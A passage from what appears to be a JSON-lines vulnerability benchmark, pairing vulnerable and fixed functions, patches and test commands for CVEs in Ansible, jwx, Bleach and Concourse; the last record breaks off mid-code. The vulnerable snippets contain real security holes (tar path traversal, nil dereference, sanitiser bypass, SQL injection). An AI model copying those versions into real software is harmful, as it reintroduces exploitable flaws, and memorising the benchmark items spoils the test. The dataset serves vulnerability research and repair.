json.loads(to_text(files_obj.read(), errors='surrogate_or_strict'))\n \n-            _extract_tar_file(collection_tar, 'MANIFEST.json', b_collection_path, b_temp_path)\n-            _extract_tar_file(collection_tar, 'FILES.json', b_collection_path, b_temp_path)\n+                _extract_tar_file(collection_tar, 'MANIFEST.json', b_collection_path, b_temp_path)\n+                _extract_tar_file(collection_tar, 'FILES.json', b_collection_path, b_temp_path)\n \n-            for file_info in files['files']:\n-                file_name = file_info['name']\n-                if file_name == '.':\n-                    continue\n+                for file_info in files['files']:\n+                    file_name = file_info['name']\n+                    if file_name == '.':\n+                        continue\n \n-                if file_info['ftype'] == 'file':\n-                    _extract_tar_file(collection_tar, file_name, b_collection_path, b_temp_path,\n-                                      expected_hash=file_info['chksum_sha256'])\n-                else:\n-                    os.makedirs(os.path.join(b_collection_path, to_bytes(file_name, errors='surrogate_or_strict')))\n+                    if file_info['ftype'] == 'file':\n+                        _extract_tar_file(collection_tar, file_name, b_collection_path, b_temp_path,\n+                                          expected_hash=file_info['chksum_sha256'])\n+                    else:\n+                        os.makedirs(os.path.join(b_collection_path, to_bytes(file_name, errors='surrogate_or_strict')))\n+        except Exception:\n+            # Ensure we don't leave the dir behind in case of a failure.\n+            shutil.rmtree(b_collection_path)\n+\n+            b_namespace_path = os.path.dirname(b_collection_path)\n+            if not os.listdir(b_namespace_path):\n+                os.rmdir(b_namespace_path)\n+\n+            raise\n\n--- a/lib/ansible/galaxy/collection.py\n+++ b/lib/ansible/galaxy/collection.py\n@@ -23,8 +23,12 @@\n             raise AnsibleError(\"Checksum mismatch for '%s' inside collection at '%s'\"\n                                % (n_filename, to_native(tar.name)))\n \n-        b_dest_filepath = os.path.join(b_dest, to_bytes(filename, errors='surrogate_or_strict'))\n-        b_parent_dir = os.path.split(b_dest_filepath)[0]\n+        b_dest_filepath = os.path.abspath(os.path.join(b_dest, to_bytes(filename, errors='surrogate_or_strict')))\n+        b_parent_dir = os.path.dirname(b_dest_filepath)\n+        if b_parent_dir != b_dest and not b_parent_dir.startswith(b_dest + to_bytes(os.path.sep)):\n+            raise AnsibleError(\"Cannot extract tar entry '%s' as it will be placed outside the collection directory\"\n+                               % to_native(filename, errors='surrogate_or_strict'))\n+\n         if not os.path.exists(b_parent_dir):\n             # Seems like Galaxy does not validate if all file entries have a corresponding dir ftype entry. This check\n             # makes sure we create the parent directory even if it wasn't set in the metadata.\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-10691:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ansible\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-10691/bin/ansible-test integration ansible-galaxy-collection --python 3.8 --tags \"bad_tarball\" --allow-disabled && /workspace/PoC_env/CVE-2020-10691/bin/pytest test/units/galaxy/test_collection.py::test_extract_tar_file_outside_dir", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-10691:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/ansible\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-10691/bin/ansible-test integration ansible-galaxy-collection --python 3.8 --tags \"bad_tarball\" --allow-disabled && /workspace/PoC_env/CVE-2020-10691/bin/pytest test/units/galaxy/test_collection.py"}
{"cve_id": "CVE-2024-21664", "cve_description": "jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.\n", "cwe_info": {"CWE-476": {"name": "NULL Pointer Dereference", "description": "The product dereferences a pointer that it expects to be valid but is NULL."}}, "repo": "https://github.com/lestrrat-go/jwx", "patch_url": ["https://github.com/lestrrat-go/jwx/commit/0e8802ce6842625845d651456493e7c87625601f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_288_1", "commit": "ea7088668dcd8b6e22d1d3d31d341fb95451c0f1", "file_path": "jws/message.go", "start_line": 255, "end_line": 339, "snippet": "func (m *Message) UnmarshalJSON(buf []byte) error {\n\tm.payload = nil\n\tm.signatures = nil\n\tm.b64 = true\n\n\tvar mup messageUnmarshalProbe\n\tmup.Header = NewHeaders()\n\tif err := json.Unmarshal(buf, &mup); err != nil {\n\t\treturn fmt.Errorf(`failed to unmarshal into temporary structure: %w`, err)\n\t}\n\n\tb64 := true\n\tif mup.Signature == nil { // flattened signature is NOT present\n\t\tif len(mup.Signatures) == 0 {\n\t\t\treturn fmt.Errorf(`required field \"signatures\" not present`)\n\t\t}\n\n\t\tm.signatures = make([]*Signature, 0, len(mup.Signatures))\n\t\tfor i, rawsig := range mup.Signatures {\n\t\t\tvar sig Signature\n\t\t\tsig.SetDecodeCtx(m.DecodeCtx())\n\t\t\tif err := json.Unmarshal(rawsig, &sig); err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to unmarshal signature #%d: %w`, i+1, err)\n\t\t\t}\n\t\t\tsig.SetDecodeCtx(nil)\n\n\t\t\tif i == 0 {\n\t\t\t\tif !getB64Value(sig.protected) {\n\t\t\t\t\tb64 = false\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif b64 != getB64Value(sig.protected) {\n\t\t\t\t\treturn fmt.Errorf(`b64 value must be the same for all signatures`)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tm.signatures = append(m.signatures, &sig)\n\t\t}\n\t} else { // .signature is present, it's a flattened structure\n\t\tif len(mup.Signatures) != 0 {\n\t\t\treturn fmt.Errorf(`invalid format (\"signatures\" and \"signature\" keys cannot both be present)`)\n\t\t}\n\n\t\tvar sig Signature\n\t\tsig.headers = mup.Header\n\t\tif src := mup.Protected; src != nil {\n\t\t\tdecoded, err := base64.DecodeString(*src)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to base64 decode flattened protected headers: %w`, err)\n\t\t\t}\n\t\t\tprt := NewHeaders()\n\t\t\t//nolint:forcetypeassert\n\t\t\tprt.(*stdHeaders).SetDecodeCtx(m.DecodeCtx())\n\t\t\tif err := json.Unmarshal(decoded, prt); err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to unmarshal flattened protected headers: %w`, err)\n\t\t\t}\n\t\t\t//nolint:forcetypeassert\n\t\t\tprt.(*stdHeaders).SetDecodeCtx(nil)\n\t\t\tsig.protected = prt\n\t\t}\n\n\t\tdecoded, err := base64.DecodeString(*mup.Signature)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(`failed to base64 decode flattened signature: %w`, err)\n\t\t}\n\t\tsig.signature = decoded\n\n\t\tm.signatures = []*Signature{&sig}\n\t\tb64 = getB64Value(sig.protected)\n\t}\n\n\tif mup.Payload != nil {\n\t\tif !b64 { // NOT base64 encoded\n\t\t\tm.payload = []byte(*mup.Payload)\n\t\t} else {\n\t\t\tdecoded, err := base64.DecodeString(*mup.Payload)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to base64 decode payload: %w`, err)\n\t\t\t}\n\t\t\tm.payload = decoded\n\t\t}\n\t}\n\tm.b64 = b64\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_288_1", "commit": "0e8802ce6842625845d651456493e7c87625601f", "file_path": "jws/message.go", "start_line": 255, "end_line": 349, "snippet": "func (m *Message) UnmarshalJSON(buf []byte) error {\n\tm.payload = nil\n\tm.signatures = nil\n\tm.b64 = true\n\n\tvar mup messageUnmarshalProbe\n\tmup.Header = NewHeaders()\n\tif err := json.Unmarshal(buf, &mup); err != nil {\n\t\treturn fmt.Errorf(`failed to unmarshal into temporary structure: %w`, err)\n\t}\n\n\tb64 := true\n\tif mup.Signature == nil { // flattened signature is NOT present\n\t\tif len(mup.Signatures) == 0 {\n\t\t\treturn fmt.Errorf(`required field \"signatures\" not present`)\n\t\t}\n\n\t\tm.signatures = make([]*Signature, 0, len(mup.Signatures))\n\t\tfor i, rawsig := range mup.Signatures {\n\t\t\tvar sig Signature\n\t\t\tsig.SetDecodeCtx(m.DecodeCtx())\n\t\t\tif err := json.Unmarshal(rawsig, &sig); err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to unmarshal signature #%d: %w`, i+1, err)\n\t\t\t}\n\t\t\tsig.SetDecodeCtx(nil)\n\n\t\t\tif sig.protected == nil {\n\t\t\t\t// Instead of barfing on a nil protected header, use an empty header\n\t\t\t\tsig.protected = NewHeaders()\n\t\t\t}\n\n\t\t\tif i == 0 {\n\t\t\t\tif !getB64Value(sig.protected) {\n\t\t\t\t\tb64 = false\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif b64 != getB64Value(sig.protected) {\n\t\t\t\t\treturn fmt.Errorf(`b64 value must be the same for all signatures`)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tm.signatures = append(m.signatures, &sig)\n\t\t}\n\t} else { // .signature is present, it's a flattened structure\n\t\tif len(mup.Signatures) != 0 {\n\t\t\treturn fmt.Errorf(`invalid format (\"signatures\" and \"signature\" keys cannot both be present)`)\n\t\t}\n\n\t\tvar sig Signature\n\t\tsig.headers = mup.Header\n\t\tif src := mup.Protected; src != nil {\n\t\t\tdecoded, err := base64.DecodeString(*src)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to base64 decode flattened protected headers: %w`, err)\n\t\t\t}\n\t\t\tprt := NewHeaders()\n\t\t\t//nolint:forcetypeassert\n\t\t\tprt.(*stdHeaders).SetDecodeCtx(m.DecodeCtx())\n\t\t\tif err := json.Unmarshal(decoded, prt); err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to unmarshal flattened protected headers: %w`, err)\n\t\t\t}\n\t\t\t//nolint:forcetypeassert\n\t\t\tprt.(*stdHeaders).SetDecodeCtx(nil)\n\t\t\tsig.protected = prt\n\t\t}\n\n\t\tif sig.protected == nil {\n\t\t\t// Instead of barfing on a nil protected header, use an empty header\n\t\t\tsig.protected = NewHeaders()\n\t\t}\n\n\t\tdecoded, err := base64.DecodeString(*mup.Signature)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(`failed to base64 decode flattened signature: %w`, err)\n\t\t}\n\t\tsig.signature = decoded\n\n\t\tm.signatures = []*Signature{&sig}\n\t\tb64 = getB64Value(sig.protected)\n\t}\n\n\tif mup.Payload != nil {\n\t\tif !b64 { // NOT base64 encoded\n\t\t\tm.payload = []byte(*mup.Payload)\n\t\t} else {\n\t\t\tdecoded, err := base64.DecodeString(*mup.Payload)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(`failed to base64 decode payload: %w`, err)\n\t\t\t}\n\t\t\tm.payload = decoded\n\t\t}\n\t}\n\tm.b64 = b64\n\treturn nil\n}"}], "vul_patch": "--- a/jws/message.go\n+++ b/jws/message.go\n@@ -23,6 +23,11 @@\n \t\t\t\treturn fmt.Errorf(`failed to unmarshal signature #%d: %w`, i+1, err)\n \t\t\t}\n \t\t\tsig.SetDecodeCtx(nil)\n+\n+\t\t\tif sig.protected == nil {\n+\t\t\t\t// Instead of barfing on a nil protected header, use an empty header\n+\t\t\t\tsig.protected = NewHeaders()\n+\t\t\t}\n \n \t\t\tif i == 0 {\n \t\t\t\tif !getB64Value(sig.protected) {\n@@ -59,6 +64,11 @@\n \t\t\tsig.protected = prt\n \t\t}\n \n+\t\tif sig.protected == nil {\n+\t\t\t// Instead of barfing on a nil protected header, use an empty header\n+\t\t\tsig.protected = NewHeaders()\n+\t\t}\n+\n \t\tdecoded, err := base64.DecodeString(*mup.Signature)\n \t\tif err != nil {\n \t\t\treturn fmt.Errorf(`failed to base64 decode flattened signature: %w`, err)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-7753", "cve_description": "An issue was discovered in Bleach 2.1.x before 2.1.3. Attributes that have URI values weren't properly sanitized if the values contained character entities. Using character entities, it was possible to construct a URI value with a scheme that was not allowed that would slide through unsanitized.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/mozilla/bleach", "patch_url": ["https://github.com/mozilla/bleach/commit/c5df5789ec3471a31311f42c2d19fc2cf21b35ef"], "programing_language": "Python", "vul_func": [{"id": "vul_py_67_1", "commit": "e7f83b8", "file_path": "bleach/sanitizer.py", "start_line": 441, "end_line": 489, "snippet": "    def sanitize_characters(self, token):\n        \"\"\"Handles Characters tokens\n\n        Our overridden tokenizer doesn't do anything with entities. However,\n        that means that the serializer will convert all ``&`` in Characters\n        tokens to ``&amp;``.\n\n        Since we don't want that, we extract entities here and convert them to\n        Entity tokens so the serializer will let them be.\n\n        :arg token: the Characters token to work on\n\n        :returns: a list of tokens\n\n        \"\"\"\n        data = token.get('data', '')\n\n        if not data:\n            return token\n\n        data = INVISIBLE_CHARACTERS_RE.sub(INVISIBLE_REPLACEMENT_CHAR, data)\n        token['data'] = data\n\n        # If there isn't a & in the data, we can return now\n        if '&' not in data:\n            return token\n\n        new_tokens = []\n\n        # For each possible entity that starts with a \"&\", we try to extract an\n        # actual entity and re-tokenize accordingly\n        for part in next_possible_entity(data):\n            if not part:\n                continue\n\n            if part.startswith('&'):\n                entity = match_entity(part)\n                if entity is not None:\n                    new_tokens.append({'type': 'Entity', 'name': entity})\n                    # Length of the entity plus 2--one for & at the beginning\n                    # and and one for ; at the end\n                    part = part[len(entity) + 2:]\n                    if part:\n                        new_tokens.append({'type': 'Characters', 'data': part})\n                    continue\n\n            new_tokens.append({'type': 'Characters', 'data': part})\n\n        return new_tokens"}, {"id": "vul_py_67_2", "commit": "e7f83b8", "file_path": "bleach/sanitizer.py", "start_line": 491, "end_line": 556, "snippet": "    def allow_token(self, token):\n        \"\"\"Handles the case where we're allowing the tag\"\"\"\n        if 'data' in token:\n            # Loop through all the attributes and drop the ones that are not\n            # allowed, are unsafe or break other rules. Additionally, fix\n            # attribute values that need fixing.\n            #\n            # At the end of this loop, we have the final set of attributes\n            # we're keeping.\n            attrs = {}\n            for namespaced_name, val in token['data'].items():\n                namespace, name = namespaced_name\n\n                # Drop attributes that are not explicitly allowed\n                #\n                # NOTE(willkg): We pass in the attribute name--not a namespaced\n                # name.\n                if not self.attr_filter(token['name'], name, val):\n                    continue\n\n                # Look at attributes that have uri values\n                if namespaced_name in self.attr_val_is_uri:\n                    val_unescaped = re.sub(\n                        \"[`\\000-\\040\\177-\\240\\s]+\",\n                        '',\n                        unescape(val)).lower()\n\n                    # Remove replacement characters from unescaped characters.\n                    val_unescaped = val_unescaped.replace(\"\\ufffd\", \"\")\n\n                    # Drop attributes with uri values that have protocols that\n                    # aren't allowed\n                    if (re.match(r'^[a-z0-9][-+.a-z0-9]*:', val_unescaped) and\n                            (val_unescaped.split(':')[0] not in self.allowed_protocols)):\n                        continue\n\n                # Drop values in svg attrs with non-local IRIs\n                if namespaced_name in self.svg_attr_val_allows_ref:\n                    new_val = re.sub(r'url\\s*\\(\\s*[^#\\s][^)]+?\\)',\n                                     ' ',\n                                     unescape(val))\n                    new_val = new_val.strip()\n                    if not new_val:\n                        continue\n\n                    else:\n                        # Replace the val with the unescaped version because\n                        # it's a iri\n                        val = new_val\n\n                # Drop href and xlink:href attr for svg elements with non-local IRIs\n                if (None, token['name']) in self.svg_allow_local_href:\n                    if namespaced_name in [(None, 'href'), (namespaces['xlink'], 'href')]:\n                        if re.search(r'^\\s*[^#\\s]', val):\n                            continue\n\n                # If it's a style attribute, sanitize it\n                if namespaced_name == (None, u'style'):\n                    val = self.sanitize_css(val)\n\n                # At this point, we want to keep the attribute, so add it in\n                attrs[namespaced_name] = val\n\n            token['data'] = alphabetize_attributes(attrs)\n\n        return token"}], "fix_func": [{"id": "fix_py_67_1", "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef", "file_path": "bleach/sanitizer.py", "start_line": 493, "end_line": 541, "snippet": "    def sanitize_characters(self, token):\n        \"\"\"Handles Characters tokens\n\n        Our overridden tokenizer doesn't do anything with entities. However,\n        that means that the serializer will convert all ``&`` in Characters\n        tokens to ``&amp;``.\n\n        Since we don't want that, we extract entities here and convert them to\n        Entity tokens so the serializer will let them be.\n\n        :arg token: the Characters token to work on\n\n        :returns: a list of tokens\n\n        \"\"\"\n        data = token.get('data', '')\n\n        if not data:\n            return token\n\n        data = INVISIBLE_CHARACTERS_RE.sub(INVISIBLE_REPLACEMENT_CHAR, data)\n        token['data'] = data\n\n        # If there isn't a & in the data, we can return now\n        if '&' not in data:\n            return token\n\n        new_tokens = []\n\n        # For each possible entity that starts with a \"&\", we try to extract an\n        # actual entity and re-tokenize accordingly\n        for part in next_possible_entity(data):\n            if not part:\n                continue\n\n            if part.startswith('&'):\n                entity = match_entity(part)\n                if entity is not None:\n                    new_tokens.append({'type': 'Entity', 'name': entity})\n                    # Length of the entity plus 2--one for & at the beginning\n                    # and and one for ; at the end\n                    remainder = part[len(entity) + 2:]\n                    if remainder:\n                        new_tokens.append({'type': 'Characters', 'data': remainder})\n                    continue\n\n            new_tokens.append({'type': 'Characters', 'data': part})\n\n        return new_tokens"}, {"id": "fix_py_67_2", "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef", "file_path": "bleach/sanitizer.py", "start_line": 597, "end_line": 654, "snippet": "    def allow_token(self, token):\n        \"\"\"Handles the case where we're allowing the tag\"\"\"\n        if 'data' in token:\n            # Loop through all the attributes and drop the ones that are not\n            # allowed, are unsafe or break other rules. Additionally, fix\n            # attribute values that need fixing.\n            #\n            # At the end of this loop, we have the final set of attributes\n            # we're keeping.\n            attrs = {}\n            for namespaced_name, val in token['data'].items():\n                namespace, name = namespaced_name\n\n                # Drop attributes that are not explicitly allowed\n                #\n                # NOTE(willkg): We pass in the attribute name--not a namespaced\n                # name.\n                if not self.attr_filter(token['name'], name, val):\n                    continue\n\n                # Drop attributes with uri values that use a disallowed protocol\n                # Sanitize attributes with uri values\n                if namespaced_name in self.attr_val_is_uri:\n                    new_value = self.sanitize_uri_value(val, self.allowed_protocols)\n                    if new_value is None:\n                        continue\n                    val = new_value\n\n                # Drop values in svg attrs with non-local IRIs\n                if namespaced_name in self.svg_attr_val_allows_ref:\n                    new_val = re.sub(r'url\\s*\\(\\s*[^#\\s][^)]+?\\)',\n                                     ' ',\n                                     unescape(val))\n                    new_val = new_val.strip()\n                    if not new_val:\n                        continue\n\n                    else:\n                        # Replace the val with the unescaped version because\n                        # it's a iri\n                        val = new_val\n\n                # Drop href and xlink:href attr for svg elements with non-local IRIs\n                if (None, token['name']) in self.svg_allow_local_href:\n                    if namespaced_name in [(None, 'href'), (namespaces['xlink'], 'href')]:\n                        if re.search(r'^\\s*[^#\\s]', val):\n                            continue\n\n                # If it's a style attribute, sanitize it\n                if namespaced_name == (None, u'style'):\n                    val = self.sanitize_css(val)\n\n                # At this point, we want to keep the attribute, so add it in\n                attrs[namespaced_name] = val\n\n            token['data'] = alphabetize_attributes(attrs)\n\n        return token"}, {"id": "fix_py_67_3", "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef", "file_path": "bleach/sanitizer.py", "start_line": 86, "end_line": 101, "snippet": "def convert_entity(value):\n    \"\"\"Convert an entity (minus the & and ; part) into what it represents\n\n    This handles numeric, hex, and text entities.\n\n    :arg value: the string (minus the ``&`` and ``;`` part) to convert\n\n    :returns: unicode character\n\n    \"\"\"\n    if value[0] == '#':\n        if value[1] in ('x', 'X'):\n            return six.unichr(int(value[2:], 16))\n        return six.unichr(int(value[1:], 10))\n\n    return ENTITIES[value]"}, {"id": "fix_py_67_4", "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef", "file_path": "bleach/sanitizer.py", "start_line": 104, "end_line": 131, "snippet": "def convert_entities(text):\n    \"\"\"Converts all found entities in the text\n\n    :arg text: the text to convert entities in\n\n    :returns: unicode text with converted entities\n\n    \"\"\"\n    if '&' not in text:\n        return text\n\n    new_text = []\n    for part in next_possible_entity(text):\n        if not part:\n            continue\n\n        if part.startswith('&'):\n            entity = match_entity(part)\n            if entity is not None:\n                new_text.append(convert_entity(entity))\n                remainder = part[len(entity) + 2:]\n                if part:\n                    new_text.append(remainder)\n                continue\n\n        new_text.append(part)\n\n    return u''.join(new_text)"}, {"id": "fix_py_67_5", "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef", "file_path": "bleach/sanitizer.py", "start_line": 543, "end_line": 596, "snippet": "    def sanitize_uri_value(self, value, allowed_protocols):\n        \"\"\"Checks a uri value to see if it's allowed\n\n        :arg value: the uri value to sanitize\n        :arg allowed_protocols: list of allowed protocols\n\n        :returns: allowed value or None\n\n        \"\"\"\n        # NOTE(willkg): This transforms the value into one that's easier to\n        # match and verify, but shouldn't get returned since it's vastly\n        # different than the original value.\n\n        # Convert all character entities in the value\n        new_value = convert_entities(value)\n\n        # Nix backtick, space characters, and control characters\n        new_value = re.sub(\n            \"[`\\000-\\040\\177-\\240\\s]+\",\n            '',\n            new_value\n        )\n\n        # Remove REPLACEMENT characters\n        new_value = new_value.replace('\\ufffd', '')\n\n        # Lowercase it--this breaks the value, but makes it easier to match\n        # against\n        new_value = new_value.lower()\n\n        # Drop attributes with uri values that have protocols that aren't\n        # allowed\n        parsed = urlparse(new_value)\n        if parsed.scheme:\n            # If urlparse found a scheme, check that\n            if parsed.scheme in allowed_protocols:\n                return value\n\n        else:\n            # Allow uris that are just an anchor\n            if new_value.startswith('#'):\n                return value\n\n            # Handle protocols that urlparse doesn't recognize like \"myprotocol\"\n            if ':' in new_value and new_value.split(':')[0] in allowed_protocols:\n                return value\n\n            # If there's no protocol/scheme specified, then assume it's \"http\"\n            # and see if that's allowed\n            if 'http' in allowed_protocols:\n                return value\n\n        return None\n"}], "vul_patch": "--- a/bleach/sanitizer.py\n+++ b/bleach/sanitizer.py\n@@ -39,9 +39,9 @@\n                     new_tokens.append({'type': 'Entity', 'name': entity})\n                     # Length of the entity plus 2--one for & at the beginning\n                     # and and one for ; at the end\n-                    part = part[len(entity) + 2:]\n-                    if part:\n-                        new_tokens.append({'type': 'Characters', 'data': part})\n+                    remainder = part[len(entity) + 2:]\n+                    if remainder:\n+                        new_tokens.append({'type': 'Characters', 'data': remainder})\n                     continue\n \n             new_tokens.append({'type': 'Characters', 'data': part})\n\n--- a/bleach/sanitizer.py\n+++ b/bleach/sanitizer.py\n@@ -18,21 +18,13 @@\n                 if not self.attr_filter(token['name'], name, val):\n                     continue\n \n-                # Look at attributes that have uri values\n+                # Drop attributes with uri values that use a disallowed protocol\n+                # Sanitize attributes with uri values\n                 if namespaced_name in self.attr_val_is_uri:\n-                    val_unescaped = re.sub(\n-                        \"[`\\000-\\040\\177-\\240\\s]+\",\n-                        '',\n-                        unescape(val)).lower()\n-\n-                    # Remove replacement characters from unescaped characters.\n-                    val_unescaped = val_unescaped.replace(\"\\ufffd\", \"\")\n-\n-                    # Drop attributes with uri values that have protocols that\n-                    # aren't allowed\n-                    if (re.match(r'^[a-z0-9][-+.a-z0-9]*:', val_unescaped) and\n-                            (val_unescaped.split(':')[0] not in self.allowed_protocols)):\n+                    new_value = self.sanitize_uri_value(val, self.allowed_protocols)\n+                    if new_value is None:\n                         continue\n+                    val = new_value\n \n                 # Drop values in svg attrs with non-local IRIs\n                 if namespaced_name in self.svg_attr_val_allows_ref:\n\n--- /dev/null\n+++ b/bleach/sanitizer.py\n@@ -0,0 +1,16 @@\n+def convert_entity(value):\n+    \"\"\"Convert an entity (minus the & and ; part) into what it represents\n+\n+    This handles numeric, hex, and text entities.\n+\n+    :arg value: the string (minus the ``&`` and ``;`` part) to convert\n+\n+    :returns: unicode character\n+\n+    \"\"\"\n+    if value[0] == '#':\n+        if value[1] in ('x', 'X'):\n+            return six.unichr(int(value[2:], 16))\n+        return six.unichr(int(value[1:], 10))\n+\n+    return ENTITIES[value]\n\n--- /dev/null\n+++ b/bleach/sanitizer.py\n@@ -0,0 +1,28 @@\n+def convert_entities(text):\n+    \"\"\"Converts all found entities in the text\n+\n+    :arg text: the text to convert entities in\n+\n+    :returns: unicode text with converted entities\n+\n+    \"\"\"\n+    if '&' not in text:\n+        return text\n+\n+    new_text = []\n+    for part in next_possible_entity(text):\n+        if not part:\n+            continue\n+\n+        if part.startswith('&'):\n+            entity = match_entity(part)\n+            if entity is not None:\n+                new_text.append(convert_entity(entity))\n+                remainder = part[len(entity) + 2:]\n+                if part:\n+                    new_text.append(remainder)\n+                continue\n+\n+        new_text.append(part)\n+\n+    return u''.join(new_text)\n\n--- /dev/null\n+++ b/bleach/sanitizer.py\n@@ -0,0 +1,53 @@\n+    def sanitize_uri_value(self, value, allowed_protocols):\n+        \"\"\"Checks a uri value to see if it's allowed\n+\n+        :arg value: the uri value to sanitize\n+        :arg allowed_protocols: list of allowed protocols\n+\n+        :returns: allowed value or None\n+\n+        \"\"\"\n+        # NOTE(willkg): This transforms the value into one that's easier to\n+        # match and verify, but shouldn't get returned since it's vastly\n+        # different than the original value.\n+\n+        # Convert all character entities in the value\n+        new_value = convert_entities(value)\n+\n+        # Nix backtick, space characters, and control characters\n+        new_value = re.sub(\n+            \"[`\\000-\\040\\177-\\240\\s]+\",\n+            '',\n+            new_value\n+        )\n+\n+        # Remove REPLACEMENT characters\n+        new_value = new_value.replace('\\ufffd', '')\n+\n+        # Lowercase it--this breaks the value, but makes it easier to match\n+        # against\n+        new_value = new_value.lower()\n+\n+        # Drop attributes with uri values that have protocols that aren't\n+        # allowed\n+        parsed = urlparse(new_value)\n+        if parsed.scheme:\n+            # If urlparse found a scheme, check that\n+            if parsed.scheme in allowed_protocols:\n+                return value\n+\n+        else:\n+            # Allow uris that are just an anchor\n+            if new_value.startswith('#'):\n+                return value\n+\n+            # Handle protocols that urlparse doesn't recognize like \"myprotocol\"\n+            if ':' in new_value and new_value.split(':')[0] in allowed_protocols:\n+                return value\n+\n+            # If there's no protocol/scheme specified, then assume it's \"http\"\n+            # and see if that's allowed\n+            if 'http' in allowed_protocols:\n+                return value\n+\n+        return None\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-7753:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/bleach\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2018-7753/bin/python -m pytest tests/test_clean.py::test_uri_value_allowed_protocols tests/test_clean.py::test_character_entities_handling -v\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-7753:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/bleach\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2018-7753/bin/python -m pytest tests/test_clean.py -v\n"}
{"cve_id": "CVE-2019-3792", "cve_description": "Pivotal Concourse version 5.0.0, contains an API that is vulnerable to SQL injection. An Concourse resource can craft a version identifier that can carry a SQL injection payload to the Concourse server, allowing the attacker to read privileged data.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/concourse/concourse", "patch_url": ["https://github.com/concourse/concourse/commit/dc3d15ab6c3a69890c9985f9c875d4c2949be727"], "programing_language": "Go", "vul_func": [{"id": "vul_go_232_1", "commit": "fabee17", "file_path": "atc/db/build.go", "start_line": 787, "end_line": 890, "snippet": "func (b *build) SaveOutput(\n\tlogger lager.Logger,\n\tresourceType string,\n\tsource atc.Source,\n\tresourceTypes creds.VersionedResourceTypes,\n\tversion atc.Version,\n\tmetadata ResourceConfigMetadataFields,\n\toutputName string,\n\tresourceName string,\n) error {\n\t// We should never save outputs for builds without a Pipeline ID because\n\t// One-off Builds will never have Put steps. This shouldn't happen, but\n\t// its best to return an error just in case\n\tif b.pipelineID == 0 {\n\t\treturn ErrBuildHasNoPipeline\n\t}\n\n\tpipeline, found, err := b.Pipeline()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !found {\n\t\treturn ErrBuildHasNoPipeline\n\t}\n\n\tresource, found, err := pipeline.Resource(resourceName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !found {\n\t\treturn ResourceNotFoundInPipeline{resource.Name(), b.pipelineName}\n\t}\n\n\ttx, err := b.conn.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer Rollback(tx)\n\n\tresourceConfigDescriptor, err := constructResourceConfigDescriptor(resourceType, source, resourceTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresourceConfig, err := resourceConfigDescriptor.findOrCreate(logger, tx, b.lockFactory, b.conn)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresourceConfigScope, err := findOrCreateResourceConfigScope(tx, b.conn, b.lockFactory, resourceConfig, resource, resourceTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewVersion, err := saveResourceVersion(tx, resourceConfigScope, version, metadata)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tversionBytes, err := json.Marshal(version)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tversionJSON := string(versionBytes)\n\n\tif newVersion {\n\t\terr = incrementCheckOrder(tx, resourceConfigScope, versionJSON)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t_, err = 